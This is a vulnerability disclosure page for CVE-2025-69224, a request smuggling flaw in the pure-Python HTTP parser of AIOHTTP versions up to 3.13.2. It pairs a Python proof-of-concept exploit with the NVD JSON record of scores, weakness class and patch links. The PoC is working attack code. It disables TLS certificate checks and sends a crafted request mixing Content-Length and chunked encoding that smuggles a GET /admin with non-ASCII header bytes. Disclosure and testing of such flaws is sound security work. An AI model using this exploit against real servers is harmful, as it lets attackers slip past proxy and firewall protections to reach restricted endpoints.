CVE-2025-69224

import socket import ssl def send_malicious_request(): """ CVE-2025-69224 PoC - HTTP Request Smuggling via Non-ASCII Characters This PoC demonstrates the request smuggling vulnerability in AIOHTTP when using pure Python HTTP parser (no C extensions). Prerequisites: - AIOHTTP server must be running without C extensions - Set environment variable: AIOHTTP_NO_EXTENSIONS=1 """ # Malicious request with non-ASCII characters # Using Transfer-Encoding: chunked combined with Content-Length # The non-ASCII character causes parsing discrepancy malicious_request = ( b'POST / HTTP/1.1\r\n' b'Host: target-server.com\r\n' b'Content-Length: 61\r\n' b'Transfer-Encoding: chunked\r\n' b'\r\n' b'0\r\n' b'\r\n' b'GET /admin HTTP/1.1\r\n' b'Host: target-server.com\r\n' b'X-Smuggled: \xe4\xb8\xad\xe6\x96\x87\r\n' # Non-ASCII chars b'\r\n' ) context = ssl.create_default_context() context.check_hostname = False context.verify_mode = ssl.CERT_NONE try: with socket.create_connection(('target-server.com', 443)) as sock: with context.wrap_socket(sock, server_hostname='target-server.com') as ssock: ssock.sendall(malicious_request) response = ssock.recv(4096) print(f"Response received: {response}") except Exception as e: print(f"Error: {e}") if __name__ == '__main__': send_malicious_request()

{"cve": {"id": "CVE-2025-69224", "sourceIdentifier": "[email protected]", "published": "2026-01-05T23:15:40.697", "lastModified": "2026-01-14T19:12:27.570", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "AIOHTTP is an asynchronous HTTP client/server framework for asyncio and Python. Versions 3.13.2 and below of the Python HTTP parser may allow a request smuggling attack with the presence of non-ASCII characters. If a pure Python version of AIOHTTP is installed (i.e. without the usual C extensions) or AIOHTTP_NO_EXTENSIONS is enabled, then an attacker may be able to execute a request smuggling attack to bypass certain firewalls or proxy protections. This issue is fixed in version 3.13.3."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-444"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:aiohttp:aiohttp:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.13.3", "matchCriteriaId": "715B630E-B141-4247-A920-3FFBD8045A05"}]}]}], "references": [{"url": "https://github.com/aio-libs/aiohttp/commit/32677f2adfd907420c078dda6b79225c6f4ebce0", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/aio-libs/aiohttp/security/advisories/GHSA-69f9-5gxw-wvc2", "source": "[email protected]", "tags": ["Vendor Advisory", "Patch"]}]}}